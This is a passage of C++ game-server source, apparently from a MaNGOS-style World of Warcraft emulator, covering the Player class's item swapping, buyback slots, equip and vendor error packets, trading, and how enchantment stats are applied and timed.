SendEquipError( EQUIP_ERR_ITEMS_CANT_BE_SWAPPED, pSrcItem, pDstItem );
return;
}
// Items swap
count = 0; // will pos in new bag
for(uint32 i = 0; i< fullBag->GetBagSize(); ++i)
{
Item *bagItem = fullBag->GetItemByPos(i);
if (!bagItem)
continue;
fullBag->RemoveItem(i, true);
emptyBag->StoreItem(count, bagItem, true);
bagItem->SetState(ITEM_CHANGED, this);
++count;
}
}
}
// now do moves, remove...
RemoveItem(dstbag, dstslot, false);
RemoveItem(srcbag, srcslot, false);
// add to dest
if (IsInventoryPos(dst))
StoreItem(sDest, pSrcItem, true);
else if (IsBankPos(dst))
BankItem(sDest, pSrcItem, true);
else if (IsEquipmentPos(dst))
EquipItem(eDest, pSrcItem, true);
// add to src
if (IsInventoryPos(src))
StoreItem(sDest2, pDstItem, true);
else if (IsBankPos(src))
BankItem(sDest2, pDstItem, true);
else if (IsEquipmentPos(src))
EquipItem(eDest2, pDstItem, true);
AutoUnequipOffhandIfNeed();
}
void Player::AddItemToBuyBackSlot( Item *pItem )
{
if (pItem)
{
uint32 slot = m_currentBuybackSlot;
// if current back slot non-empty search oldest or free
if (m_items[slot])
{
uint32 oldest_time = GetUInt32Value( PLAYER_FIELD_BUYBACK_TIMESTAMP_1 );
uint32 oldest_slot = BUYBACK_SLOT_START;
for(uint32 i = BUYBACK_SLOT_START+1; i < BUYBACK_SLOT_END; ++i )
{
// found empty
if (!m_items[i])
{
slot = i;
break;
}
uint32 i_time = GetUInt32Value( PLAYER_FIELD_BUYBACK_TIMESTAMP_1 + i - BUYBACK_SLOT_START);
if (oldest_time > i_time)
{
oldest_time = i_time;
oldest_slot = i;
}
}
// find oldest
slot = oldest_slot;
}
RemoveItemFromBuyBackSlot( slot, true );
DEBUG_LOG( "STORAGE: AddItemToBuyBackSlot item = %u, slot = %u", pItem->GetEntry(), slot);
m_items[slot] = pItem;
time_t base = time(NULL);
uint32 etime = uint32(base - m_logintime + (30 * 3600));
uint32 eslot = slot - BUYBACK_SLOT_START;
SetGuidValue(PLAYER_FIELD_VENDORBUYBACK_SLOT_1 + (eslot * 2), pItem->GetObjectGuid());
if (ItemPrototype const *pProto = pItem->GetProto())
SetUInt32Value( PLAYER_FIELD_BUYBACK_PRICE_1 + eslot, pProto->SellPrice * pItem->GetCount() );
else
SetUInt32Value( PLAYER_FIELD_BUYBACK_PRICE_1 + eslot, 0 );
SetUInt32Value( PLAYER_FIELD_BUYBACK_TIMESTAMP_1 + eslot, (uint32)etime );
// move to next (for non filled list is move most optimized choice)
if (m_currentBuybackSlot < BUYBACK_SLOT_END - 1)
++m_currentBuybackSlot;
}
}
Item* Player::GetItemFromBuyBackSlot( uint32 slot )
{
DEBUG_LOG( "STORAGE: GetItemFromBuyBackSlot slot = %u", slot);
if (slot >= BUYBACK_SLOT_START && slot < BUYBACK_SLOT_END)
return m_items[slot];
return NULL;
}
void Player::RemoveItemFromBuyBackSlot( uint32 slot, bool del )
{
DEBUG_LOG( "STORAGE: RemoveItemFromBuyBackSlot slot = %u", slot);
if (slot >= BUYBACK_SLOT_START && slot < BUYBACK_SLOT_END)
{
Item *pItem = m_items[slot];
if (pItem)
{
pItem->RemoveFromWorld();
if (del) pItem->SetState(ITEM_REMOVED, this);
}
m_items[slot] = NULL;
uint32 eslot = slot - BUYBACK_SLOT_START;
SetGuidValue(PLAYER_FIELD_VENDORBUYBACK_SLOT_1 + (eslot * 2), ObjectGuid());
SetUInt32Value(PLAYER_FIELD_BUYBACK_PRICE_1 + eslot, 0);
SetUInt32Value(PLAYER_FIELD_BUYBACK_TIMESTAMP_1 + eslot, 0);
// if current backslot is filled set to now free slot
if (m_items[m_currentBuybackSlot])
m_currentBuybackSlot = slot;
}
}
void Player::SendEquipError( InventoryResult msg, Item* pItem, Item *pItem2, uint32 itemid /*= 0*/ ) const
{
DEBUG_LOG( "WORLD: Sent SMSG_INVENTORY_CHANGE_FAILURE (%u)", msg);
WorldPacket data(SMSG_INVENTORY_CHANGE_FAILURE, 1+8+8+1);
data << uint8(msg);
if (msg != EQUIP_ERR_OK)
{
data << (pItem ? pItem->GetObjectGuid() : ObjectGuid());
data << (pItem2 ? pItem2->GetObjectGuid() : ObjectGuid());
data << uint8(0); // bag type subclass, used with EQUIP_ERR_EVENT_AUTOEQUIP_BIND_CONFIRM and EQUIP_ERR_ITEM_DOESNT_GO_INTO_BAG2
switch(msg)
{
case EQUIP_ERR_CANT_EQUIP_LEVEL_I:
case EQUIP_ERR_PURCHASE_LEVEL_TOO_LOW:
{
ItemPrototype const* proto = pItem ? pItem->GetProto() : ObjectMgr::GetItemPrototype(itemid);
data << uint32(proto ? proto->RequiredLevel : 0);
break;
}
case EQUIP_ERR_EVENT_AUTOEQUIP_BIND_CONFIRM: // no idea about this one...
{
data << uint64(0);
data << uint32(0);
data << uint64(0);
break;
}
case EQUIP_ERR_ITEM_MAX_LIMIT_CATEGORY_COUNT_EXCEEDED_IS:
case EQUIP_ERR_ITEM_MAX_LIMIT_CATEGORY_SOCKETED_EXCEEDED_IS:
case EQUIP_ERR_ITEM_MAX_LIMIT_CATEGORY_EQUIPPED_EXCEEDED_IS:
{
ItemPrototype const* proto = pItem ? pItem->GetProto() : ObjectMgr::GetItemPrototype(itemid);
uint32 LimitCategory=proto ? proto->ItemLimitCategory : 0;
if (pItem)
// check unique-equipped on gems
for(uint32 enchant_slot = SOCK_ENCHANTMENT_SLOT; enchant_slot < SOCK_ENCHANTMENT_SLOT+3; ++enchant_slot)
{
uint32 enchant_id = pItem->GetEnchantmentId(EnchantmentSlot(enchant_slot));
if(!enchant_id)
continue;
SpellItemEnchantmentEntry const* enchantEntry = sSpellItemEnchantmentStore.LookupEntry(enchant_id);
if(!enchantEntry)
continue;
ItemPrototype const* pGem = ObjectMgr::GetItemPrototype(enchantEntry->GemID);
if(!pGem)
continue;
// include for check equip another gems with same limit category for not equipped item (and then not counted)
uint32 gem_limit_count = !pItem->IsEquipped() && pGem->ItemLimitCategory
? pItem->GetGemCountWithLimitCategory(pGem->ItemLimitCategory) : 1;
if ( msg == CanEquipUniqueItem(pGem, pItem->GetSlot(),gem_limit_count))
{
LimitCategory=pGem->ItemLimitCategory;
break;
}
}
data << uint32(LimitCategory);
break;
}
default:
break;
}
}
GetSession()->SendPacket(&data);
}
void Player::SendBuyError( BuyResult msg, Creature* pCreature, uint32 item, uint32 param )
{
DEBUG_LOG( "WORLD: Sent SMSG_BUY_FAILED" );
WorldPacket data( SMSG_BUY_FAILED, (8+4+4+1) );
data << (pCreature ? pCreature->GetObjectGuid() : ObjectGuid());
data << uint32(item);
if (param > 0)
data << uint32(param);
data << uint8(msg);
GetSession()->SendPacket(&data);
}
void Player::SendSellError( SellResult msg, Creature* pCreature, ObjectGuid itemGuid, uint32 param )
{
DEBUG_LOG( "WORLD: Sent SMSG_SELL_ITEM" );
WorldPacket data( SMSG_SELL_ITEM,(8+8+(param?4:0)+1)); // last check 2.0.10
data << (pCreature ? pCreature->GetObjectGuid() : ObjectGuid());
data << ObjectGuid(itemGuid);
if (param > 0)
data << uint32(param);
data << uint8(msg);
GetSession()->SendPacket(&data);
}
void Player::TradeCancel(bool sendback)
{
if (m_trade)
{
Player* trader = m_trade->GetTrader();
// send yellow "Trade canceled" message to both traders
if (sendback)
GetSession()->SendCancelTrade();
trader->GetSession()->SendCancelTrade();
// cleanup
delete m_trade;
m_trade = NULL;
delete trader->m_trade;
trader->m_trade = NULL;
}
}
void Player::UpdateSoulboundTradeItems()
{
if (m_itemSoulboundTradeable.empty())
return;
// also checks for garbage data
for (ItemDurationList::iterator itr = m_itemSoulboundTradeable.begin(); itr != m_itemSoulboundTradeable.end();)
{
if (!*itr)
{
itr = m_itemSoulboundTradeable.erase(itr++);
continue;
}
if ((*itr)->GetOwnerGuid() != GetObjectGuid())
{
itr = m_itemSoulboundTradeable.erase(itr++);
continue;
}
if ((*itr)->CheckSoulboundTradeExpire())
{
itr = m_itemSoulboundTradeable.erase(itr++);
continue;
}
++itr;
}
}
void Player::RemoveTradeableItem(Item* item)
{
for (ItemDurationList::iterator itr = m_itemSoulboundTradeable.begin(); itr != m_itemSoulboundTradeable.end(); ++itr)
{
if ((*itr) == item)
{
m_itemSoulboundTradeable.erase(itr);
break;
}
}
}
void Player::UpdateItemDuration(uint32 time, bool realtimeonly)
{
if (m_itemDuration.empty())
return;
DEBUG_LOG("Player::UpdateItemDuration(%u,%u)", time, realtimeonly);
for(ItemDurationList::const_iterator itr = m_itemDuration.begin(); itr != m_itemDuration.end(); )
{
Item* item = *itr;
++itr; // current element can be erased in UpdateDuration
if ((realtimeonly && (item->GetProto()->ExtraFlags & ITEM_EXTRA_REAL_TIME_DURATION)) || !realtimeonly)
item->UpdateDuration(this,time);
}
}
void Player::UpdateEnchantTime(uint32 time)
{
for(EnchantDurationList::iterator itr = m_enchantDuration.begin(),next;itr != m_enchantDuration.end();itr=next)
{
MANGOS_ASSERT(itr->item);
next = itr;
if (!itr->item->GetEnchantmentId(itr->slot))
{
next = m_enchantDuration.erase(itr);
}
else if (itr->leftduration <= time)
{
ApplyEnchantment(itr->item, itr->slot, false, false);
itr->item->ClearEnchantment(itr->slot);
next = m_enchantDuration.erase(itr);
}
else if (itr->leftduration > time)
{
itr->leftduration -= time;
++next;
}
}
}
void Player::AddEnchantmentDurations(Item *item)
{
for(int x = 0; x < MAX_ENCHANTMENT_SLOT; ++x)
{
if (!item->GetEnchantmentId(EnchantmentSlot(x)))
continue;
uint32 duration = item->GetEnchantmentDuration(EnchantmentSlot(x));
if (duration > 0)
AddEnchantmentDuration(item, EnchantmentSlot(x), duration);
}
}
void Player::RemoveEnchantmentDurations(Item *item)
{
for(EnchantDurationList::iterator itr = m_enchantDuration.begin(); itr != m_enchantDuration.end();)
{
if (itr->item == item)
{
// save duration in item
item->SetEnchantmentDuration(EnchantmentSlot(itr->slot), itr->leftduration);
itr = m_enchantDuration.erase(itr);
}
else
++itr;
}
}
void Player::RemoveAllEnchantments(EnchantmentSlot slot)
{
// remove enchantments from equipped items first to clean up the m_enchantDuration list
for(EnchantDurationList::iterator itr = m_enchantDuration.begin(), next; itr != m_enchantDuration.end(); itr = next)
{
next = itr;
if (itr->slot == slot)
{
if (itr->item && itr->item->GetEnchantmentId(slot))
{
// remove from stats
ApplyEnchantment(itr->item, slot, false, false);
// remove visual
itr->item->ClearEnchantment(slot);
}
// remove from update list
next = m_enchantDuration.erase(itr);
}
else
++next;
}
// remove enchants from inventory items
// NOTE: no need to remove these from stats, since these aren't equipped
// in inventory
for(int i = INVENTORY_SLOT_ITEM_START; i < INVENTORY_SLOT_ITEM_END; ++i)
if (Item* pItem = GetItemByPos(INVENTORY_SLOT_BAG_0, i))
if (pItem->GetEnchantmentId(slot))
pItem->ClearEnchantment(slot);
// in inventory bags
for(int i = INVENTORY_SLOT_BAG_START; i < INVENTORY_SLOT_BAG_END; ++i)
if (Bag* pBag = (Bag*)GetItemByPos( INVENTORY_SLOT_BAG_0, i ))
for(uint32 j = 0; j < pBag->GetBagSize(); ++j)
if (Item* pItem = pBag->GetItemByPos(j))
if (pItem->GetEnchantmentId(slot))
pItem->ClearEnchantment(slot);
}
// duration == 0 will remove item enchant
void Player::AddEnchantmentDuration(Item *item,EnchantmentSlot slot,uint32 duration)
{
if (!item)
return;
if (slot >= MAX_ENCHANTMENT_SLOT)
return;
for(EnchantDurationList::iterator itr = m_enchantDuration.begin(); itr != m_enchantDuration.end(); ++itr)
{
if (itr->item == item && itr->slot == slot)
{
itr->item->SetEnchantmentDuration(itr->slot, itr->leftduration);
m_enchantDuration.erase(itr);
break;
}
}
if (item && duration > 0 )
{
GetSession()->SendItemEnchantTimeUpdate(GetObjectGuid(), item->GetObjectGuid(), slot, uint32(duration/1000));
m_enchantDuration.push_back(EnchantDuration(item, slot, duration));
}
}
void Player::ApplyEnchantment(Item *item,bool apply)
{
for(uint32 slot = 0; slot < MAX_ENCHANTMENT_SLOT; ++slot)
ApplyEnchantment(item, EnchantmentSlot(slot), apply);
}
void Player::ApplyEnchantment(Item *item, EnchantmentSlot slot, bool apply, bool apply_dur, bool ignore_condition)
{
if (!item)
return;
if (!item->IsEquipped())
return;
// Don't apply ANY enchantment if item is broken! It's offlike and avoid many exploits with broken items.
// Not removing enchantments from broken items - not need.
if (item->IsBroken())
return;
if (slot >= MAX_ENCHANTMENT_SLOT)
return;
uint32 enchant_id = item->GetEnchantmentId(slot);
if (!enchant_id)
return;
SpellItemEnchantmentEntry const *pEnchant = sSpellItemEnchantmentStore.LookupEntry(enchant_id);
if (!pEnchant)
return;
if (!ignore_condition && pEnchant->EnchantmentCondition && !((Player*)this)->EnchantmentFitsRequirements(pEnchant->EnchantmentCondition, -1))
return;
if ((pEnchant->requiredLevel) > ((Player*)this)->getLevel())
return;
if ((pEnchant->requiredSkill) > 0)
{
if ((pEnchant->requiredSkillValue) > (((Player*)this)->GetSkillValue(pEnchant->requiredSkill)))
return;
}
if (!item->IsBroken())
{
for (int s = 0; s < 3; ++s)
{
uint32 enchant_display_type = pEnchant->type[s];
uint32 enchant_amount = pEnchant->amount[s];
uint32 enchant_spell_id = pEnchant->spellid[s];
switch(enchant_display_type)
{
case ITEM_ENCHANTMENT_TYPE_NONE:
break;
case ITEM_ENCHANTMENT_TYPE_COMBAT_SPELL:
// processed in Player::CastItemCombatSpell
break;
case ITEM_ENCHANTMENT_TYPE_DAMAGE:
if (item->GetSlot() == EQUIPMENT_SLOT_MAINHAND)
HandleStatModifier(UNIT_MOD_DAMAGE_MAINHAND, TOTAL_VALUE, float(enchant_amount), apply);
else if (item->GetSlot() == EQUIPMENT_SLOT_OFFHAND)
HandleStatModifier(UNIT_MOD_DAMAGE_OFFHAND, TOTAL_VALUE, float(enchant_amount), apply);
else if (item->GetSlot() == EQUIPMENT_SLOT_RANGED)
HandleStatModifier(UNIT_MOD_DAMAGE_RANGED, TOTAL_VALUE, float(enchant_amount), apply);
break;
case ITEM_ENCHANTMENT_TYPE_EQUIP_SPELL:
if (enchant_spell_id)
{
if (apply)
{
int32 basepoints = 0;
// Random Property Exist - try found basepoints for spell (basepoints depends from item suffix factor)
if (item->GetItemRandomPropertyId())
{
ItemRandomSuffixEntry const *item_rand = sItemRandomSuffixStore.LookupEntry(abs(item->GetItemRandomPropertyId()));
if (item_rand)
{
// Search enchant_amount
for (int k = 0; k < 3; ++k)
{
if (item_rand->enchant_id[k] == enchant_id)
{
basepoints = int32((item_rand->prefix[k] * item->GetItemSuffixFactor()) / 10000 );
break;
}
}
}
}
// Cast custom spell vs all equal basepoints getted from enchant_amount
if (basepoints)
CastCustomSpell(this, enchant_spell_id, &basepoints, &basepoints, &basepoints, true, item);
else
CastSpell(this, enchant_spell_id, true, item);
}
else
RemoveAurasDueToItemSpell(item, enchant_spell_id);
}
break;
case ITEM_ENCHANTMENT_TYPE_RESISTANCE:
if (!enchant_amount)
{
ItemRandomSuffixEntry const *item_rand = sItemRandomSuffixStore.LookupEntry(abs(item->GetItemRandomPropertyId()));
if (item_rand)
{
for (int k = 0; k < 3; ++k)
{
if (item_rand->enchant_id[k] == enchant_id)
{
enchant_amount = uint32((item_rand->prefix[k] * item->GetItemSuffixFactor()) / 10000 );
break;
}
}
}
}
HandleStatModifier(UnitMods(UNIT_MOD_RESISTANCE_START + enchant_spell_id), TOTAL_VALUE, float(enchant_amount), apply);
break;
case ITEM_ENCHANTMENT_TYPE_STAT:
{
if (!enchant_amount)
{
ItemRandomSuffixEntry const *item_rand_suffix = sItemRandomSuffixStore.LookupEntry(abs(item->GetItemRandomPropertyId()));
if (item_rand_suffix)
{
for (int k = 0; k < 3; ++k)
{
if (item_rand_suffix->enchant_id[k] == enchant_id)
{
enchant_amount = uint32((item_rand_suffix->prefix[k] * item->GetItemSuffixFactor()) / 10000 );
break;
}
}
}
}
DEBUG_LOG("Adding %u to stat nb %u",enchant_amount,enchant_spell_id);
switch (enchant_spell_id)
{
case ITEM_MOD_MANA:
DEBUG_LOG("+ %u MANA",enchant_amount);
HandleStatModifier(UNIT_MOD_MANA, BASE_VALUE, float(enchant_amount), apply);
break;
case ITEM_MOD_HEALTH:
DEBUG_LOG("+ %u HEALTH",enchant_amount);
HandleStatModifier(UNIT_MOD_HEALTH, BASE_VALUE, float(enchant_amount), apply);
break;
case ITEM_MOD_AGILITY:
DEBUG_LOG("+ %u AGILITY",enchant_amount);
HandleStatModifier(UNIT_MOD_STAT_AGILITY, TOTAL_VALUE, float(enchant_amount), apply);
ApplyStatBuffMod(STAT_AGILITY, float(enchant_amount), apply);
break;
case ITEM_MOD_STRENGTH:
DEBUG_LOG("+ %u STRENGTH",enchant_amount);
HandleStatModifier(UNIT_MOD_STAT_STRENGTH, TOTAL_VALUE, float(enchant_amount), apply);
ApplyStatBuffMod(STAT_STRENGTH, float(enchant_amount), apply);
break;
case ITEM_MOD_INTELLECT:
DEBUG_LOG("+ %u INTELLECT",enchant_amount);
HandleStatModifier(UNIT_MOD_STAT_INTELLECT, TOTAL_VALUE, float(enchant_amount), apply);
ApplyStatBuffMod(STAT_INTELLECT, float(enchant_amount), apply);
break;
case ITEM_MOD_SPIRIT:
DEBUG_LOG("+ %u SPIRIT",enchant_amount);
HandleStatModifier(UNIT_MOD_STAT_SPIRIT, TOTAL_VALUE, float(enchant_amount), apply);
ApplyStatBuffMod(STAT_SPIRIT, float(enchant_amount), apply);
break;
case ITEM_MOD_STAMINA:
DEBUG_LOG("+ %u STAMINA",enchant_amount);
HandleStatModifier(UNIT_MOD_STAT_STAMINA, TOTAL_VALUE, float(enchant_amount), apply);
ApplyStatBuffMod(STAT_STAMINA, float(enchant_amount), apply);
break;
case ITEM_MOD_DEFENSE_SKILL_RATING:
((Player*)this)->ApplyRatingMod(CR_DEFENSE_SKILL, enchant_amount, apply);
DEBUG_LOG("+ %u DEFENCE", enchant_amount);
break;
case ITEM_MOD_DODGE_RATING:
((Player*)this)->ApplyRatingMod(CR_DODGE, enchant_amount, apply);
DEBUG_LOG("+ %u DODGE", enchant_amount);
break;
case ITEM_MOD_PARRY_RATING:
((Player*)this)->ApplyRatingMod(CR_PARRY, enchant_amount, apply);
DEBUG_LOG("+ %u PARRY", enchant_amount);
break;
case ITEM_MOD_BLOCK_RATING:
((Player*)this)->ApplyRatingMod(CR_BLOCK, enchant_amount, apply);
DEBUG_LOG("+ %u SHIELD_BLOCK", enchant_amount);
break;
case ITEM_MOD_HIT_MELEE_RATING:
((Player*)this)->ApplyRatingMod(CR_HIT_MELEE, enchant_amount, apply);
DEBUG_LOG("+ %u MELEE_HIT", enchant_amount);
break;
case ITEM_MOD_HIT_RANGED_RATING:
((Player*)this)->ApplyRatingMod(CR_HIT_RANGED, enchant_amount, apply);
DEBUG_LOG("+ %u RANGED_HIT", enchant_amount);
break;
case ITEM_MOD_HIT_SPELL_RATING:
((Player*)this)->ApplyRatingMod(CR_HIT_SPELL, enchant_amount, apply);
DEBUG_LOG("+ %u SPELL_HIT", enchant_amount);
break;
case ITEM_MOD_CRIT_MELEE_RATING:
((Player*)this)->ApplyRatingMod(CR_CRIT_MELEE, enchant_amount, apply);
DEBUG_LOG("+ %u MELEE_CRIT", enchant_amount);
break;
case ITEM_MOD_CRIT_RANGED_RATING:
((Player*)this)->ApplyRatingMod(CR_CRIT_RANGED, enchant_amount, apply);
DEBUG_LOG("+ %u RANGED_CRIT", enchant_amount);
break;
case ITEM_MOD_CRIT_SPELL_RATING:
((Player*)this)->ApplyRatingMod(CR_CRIT_SPELL, enchant_amount, apply);
DEBUG_LOG("+ %u SPELL_CRIT", enchant_amount);
break;
// Values from ITEM_STAT_MELEE_HA_RATING to ITEM_MOD_HASTE_RANGED_RATING are never used
// in Enchantments
// case ITEM_MOD_HIT_TAKEN_MELEE_RATING:
// ((Player*)this)->ApplyRatingMod(CR_HIT_TAKEN_MELEE, enchant_amount, apply);
// break;
// case ITEM_MOD_HIT_TAKEN_RANGED_RATING:
// ((Player*)this)->ApplyRatingMod(CR_HIT_TAKEN_RANGED, enchant_amount, apply);
// break;
// case ITEM_MOD_HIT_TAKEN_SPELL_RATING:
// ((Player*)this)->ApplyRatingMod(CR_HIT_TAKEN_SPELL, enchant_amount, apply);
// break;
// case ITEM_MOD_CRIT_TAKEN_MELEE_RATING:
// ((Player*)this)->ApplyRatingMod(CR_CRIT_TAKEN_MELEE, enchant_amount, apply);
// break;
// case ITEM_MOD_CRIT_TAKEN_RANGED_RATING:
// ((Player*)this)->ApplyRatingMod(CR_CRIT_TAKEN_RANGED, enchant_amount, apply);
// break;
// case ITEM_MOD_CRIT_TAKEN_SPELL_RATING:
// ((Player*)this)->ApplyRatingMod(CR_CRIT_TAKEN_SPELL, enchant_amount, apply);
// break;
// case ITEM_MOD_HASTE_MELEE_RATING:
// ((Player*)this)->ApplyRatingMod(CR_HASTE_MELEE, enchant_amount, apply);
// break;
// case ITEM_MOD_HASTE_RANGED_RATING:
// ((Player*)this)->ApplyRatingMod(CR_HASTE_RANGED, enchant_amount, apply);
// break;
case ITEM_MOD_HASTE_SPELL_RATING:
((Player*)this)->ApplyRatingMod(CR_HASTE_SPELL, enchant_amount, apply);
break;
case ITEM_MOD_HIT_RATING:
((Player*)this)->ApplyRatingMod(CR_HIT_MELEE, enchant_amount, apply);
((Player*)this)->ApplyRatingMod(CR_HIT_RANGED, enchant_amount, apply);
((Player*)this)->ApplyRatingMod(CR_HIT_SPELL, enchant_amount, apply);
DEBUG_LOG("+ %u HIT", enchant_amount);
break;
case ITEM_MOD_CRIT_RATING:
((Player*)this)->ApplyRatingMod(CR_CRIT_MELEE, enchant_amount, apply);
((Player*)this)->ApplyRatingMod(CR_CRIT_RANGED, enchant_amount, apply);
((Player*)this)->ApplyRatingMod(CR_CRIT_SPELL, enchant_amount, apply);
DEBUG_LOG("+ %u CRITICAL", enchant_amount);
break;
// Values ITEM_MOD_HIT_TAKEN_RATING and ITEM_MOD_CRIT_TAKEN_RATING are never used in Enchantment
// case ITEM_MOD_HIT_TAKEN_RATING:
// ((Player*)this)->ApplyRatingMod(CR_HIT_TAKEN_MELEE, enchant_amount, apply);
// ((Player*)this)->ApplyRatingMod(CR_HIT_TAKEN_RANGED, enchant_amount, apply);
// ((Player*)this)->ApplyRatingMod(CR_HIT_TAKEN_SPELL, enchant_amount, apply);
// break;
// case ITEM_MOD_CRIT_TAKEN_RATING:
// ((Player*)this)->ApplyRatingMod(CR_CRIT_TAKEN_MELEE, enchant_amount, apply);
// ((Player*)this)->ApplyRatingMod(CR_CRIT_TAKEN_RANGED, enchant_amount, apply);
// ((Player*)this)->ApplyRatingMod(CR_CRIT_TAKEN_SPELL, enchant_amount, apply);
// break;
case ITEM_MOD_RESILIENCE_RATING:
((Player*)this)->ApplyRatingMod(CR_CRIT_TAKEN_MELEE, enchant_amount, apply);
((Player*)this)->ApplyRatingMod(CR_CRIT_TAKEN_RANGED, enchant_amount, apply);
((Player*)this)->ApplyRatingMod(CR_CRIT_TAKEN_SPELL, enchant_amount, apply);
DEBUG_LOG("+ %u RESILIENCE", enchant_amount);
break;
case ITEM_MOD_HASTE_RATING:
((Player*)this)->ApplyRatingMod(CR_HASTE_MELEE, enchant_amount, apply);
((Player*)this)->ApplyRatingMod(CR_HASTE_RANGED, enchant_amount, apply);
((Player*)this)->ApplyRatingMod(CR_HASTE_SPELL, enchant_amount, apply);
DEBUG_LOG("+ %u HASTE", enchant_amount);
break;
case ITEM_MOD_EXPERTISE_RATING:
((Player*)this)->ApplyRatingMod(CR_EXPERTISE, enchant_amount, apply);
DEBUG_LOG("+ %u EXPERTISE", enchant_amount);
break;
case ITEM_MOD_ATTACK_POWER:
HandleStatModifier(UNIT_MOD_ATTACK_POWER, TOTAL_VALUE, float(enchant_amount), apply);
HandleStatModifier(UNIT_MOD_ATTACK_POWER_RANGED, TOTAL_VALUE, float(enchant_amount), apply);
DEBUG_LOG("+ %u ATTACK_POWER", enchant_amount);
break;
case ITEM_MOD_RANGED_ATTACK_POWER:
HandleStatModifier(UNIT_MOD_ATTACK_POWER_RANGED, TOTAL_VALUE, float(enchant_amount), apply);
DEBUG_LOG("+ %u RANGED_ATTACK_POWER", enchant_amount);
break;
case ITEM_MOD_MANA_REGENERATION:
((Player*)this)->ApplyManaRegenBonus(enchant_amount, apply);
DEBUG_LOG("+ %u MANA_REGENERATION", enchant_amount);
break;
case ITEM_MOD_ARMOR_PENETRATION_RATING:
((Player*)this)->ApplyRatingMod(CR_ARMOR_PENETRATION, enchant_amount, apply);
DEBUG_LOG("+ %u ARMOR PENETRATION", enchant_amount);
break;
case ITEM_MOD_SPELL_POWER:
((Player*)this)->ApplySpellPowerBonus(enchant_amount, apply);
DEBUG_LOG("+ %u SPELL_POWER", enchant_amount);
break;
case ITEM_MOD_HEALTH_REGEN:
((Player*)this)->ApplyHealthRegenBonus(enchant_amount, apply);
DEBUG_LOG("+ %u HEALTH_REGENERATION", enchant_amount);
break;
case ITEM_MOD_BLOCK_VALUE:
HandleBaseModValue(SHIELD_BLOCK_VALUE, FLAT_MOD, float(enchant_amount), apply);
break;
case ITEM_MOD_FERAL_ATTACK_POWER:
case ITEM_MOD_SPELL_HEALING_DONE: // deprecated
case ITEM_MOD_SPELL_DAMAGE_DONE: // deprecated
default:
break;
}
break;
}
case ITEM_ENCHANTMENT_TYPE_TOTEM: // Shaman Rockbiter Weapon
{
if (getClass() == CLASS_SHAMAN)
{
float addValue = 0.0f;
if (item->GetSlot() == EQUIPMENT_SLOT_MAINHAND)
{
addValue = float(enchant_amount * item->GetProto()->Delay / 1000.0f);
HandleStatModifier(UNIT_MOD_DAMAGE_MAINHAND, TOTAL_VALUE, addValue, apply);
}
else if (item->GetSlot() == EQUIPMENT_SLOT_OFFHAND )
{
addValue = float(enchant_amount * item->GetProto()->Delay / 1000.0f);
HandleStatModifier(UNIT_MOD_DAMAGE_OFFHAND, TOTAL_VALUE, addValue, apply);
}
}
break;
}
case ITEM_ENCHANTMENT_TYPE_USE_SPELL:
// processed in Player::CastItemUseSpell
break;
case ITEM_ENCHANTMENT_TYPE_PRISMATIC_SOCKET:
// nothing do..
break;
default:
sLog.outError("Unknown item enchantment (id = %d) display type: %d", enchant_id, enchant_display_type);
break;
} /*switch(enchant_display_type)*/
} /*for*/
}
// visualize enchantment at player and equipped items
if (slot == PERM_ENCHANTMENT_SLOT)
SetUInt16Value(PLAYER_VISIBLE_ITEM_1_ENCHANTMENT + (item->GetSlot() * 2), 0, apply ? item->GetEnchantmentId(slot) : 0);
if (slot == TEMP_ENCHANTMENT_SLOT)
SetUInt16Value(PLAYER_VISIBLE_ITEM_1_ENCHANTMENT + (item->GetSlot() * 2), 1, apply ? item->GetEnchantmentId(slot) : 0);
if (apply_dur)
{
if (apply)
{
// set duration
uint32 duration = item->GetEnchantmentDuration(slot);
if (duration > 0)
AddEnchantmentDuration(item, slot, duration);
}
else
{
// duration == 0 will remove EnchantDuration
AddEnchantmentDuration(item, slot, 0);
}
}
}
void Player::SendEnchantmentDurations()
{
for(EnchantDurationList::const_iterator itr = m_enchantDuration.begin(); itr != m_enchantDuration.end(); ++itr)
{
GetSession()->SendItemEnchantTimeUpdate(GetObjectGuid(), itr->item->GetObjectGuid(), itr->slot, uint32(itr->leftduration) / 1000);
}
}
void Player::SendItemDurations()
{
for(ItemDurationList::const_iterator itr = m_itemDuration.begin(); itr != m_itemDuration.end(); ++itr)
{
(*itr)->SendTimeUpdate(this);
}
}
void Player::SendNewItem(Item *item, uint32 count, bool received, bool created, bool broadcast)
{
if(!item) // prevent crash
return;
// last check 2.0.10
WorldPacket data( SMSG_ITEM_PUSH_RESULT, (8+4+4+4+1+4+4+4+4+4) );
data << GetObjectGuid(); // player GUID
data << uint32(received); // 0=looted, 1=from npc
data << uint32(created); // 0=received, 1=created
data << uint32(1); // IsShowChatMessage
data << uint8(item->GetBagSlot()); // bagslot
// item slot, but when added to stack: 0xFFFFFFFF
data << uint32((item->GetCount() == count) ? item->GetSlot() : -1);
data << uint32(item->GetEntry()); // item id
data << uint32(item->GetItemSuffixFactor()); // SuffixFactor
data << uint32(item->GetItemRandomPropertyId()); // random item property id
data << uint32(count); // count of items
data << uint32(GetItemCount(item->GetEntry())); // count of items in inventory
if (broadcast && GetGroup())
GetGroup()->BroadcastPacket(&data, true);
else
GetSession()->SendPacket(&data);
}
/*********************************************************/
/*** GOSSIP SYSTEM ***/
/*********************************************************/
void Player::PrepareGossipMenu(WorldObject *pSource, uint32 menuId)
{
PlayerMenu* pMenu = PlayerTalkClass;
pMenu->ClearMenus();
pMenu->GetGossipMenu().SetMenuId(menuId);
GossipMenuItemsMapBounds pMenuItemBounds = sObjectMgr.GetGossipMenuItemsMapBounds(menuId);
// prepares quest menu when true
bool canSeeQuests = menuId == GetDefaultGossipMenuForSource(pSource);
// if canSeeQuests (the default, top level menu) and no menu options exist for this, use options from default options
if (pMenuItemBounds.first == pMenuItemBounds.second && canSeeQuests)
pMenuItemBounds = sObjectMgr.GetGossipMenuItemsMapBounds(0);
bool canTalkToCredit = pSource->GetTypeId() == TYPEID_UNIT;
for(GossipMenuItemsMap::const_iterator itr = pMenuItemBounds.first; itr != pMenuItemBounds.second; ++itr)
{
bool hasMenuItem = true;
if (!isGameMaster()) // Let GM always see menu items regardless of conditions
{
if (itr->second.cond_1 && !sObjectMgr.IsPlayerMeetToCondition(this, itr->second.cond_1))
{
if (itr->second.option_id == GOSSIP_OPTION_QUESTGIVER)
canSeeQuests = false;
continue;
}
if (itr->second.cond_2 && !sObjectMgr.IsPlayerMeetToCondition(this, itr->second.cond_2))
{
if (itr->second.option_id == GOSSIP_OPTION_QUESTGIVER)
canSeeQuests = false;
continue;
}
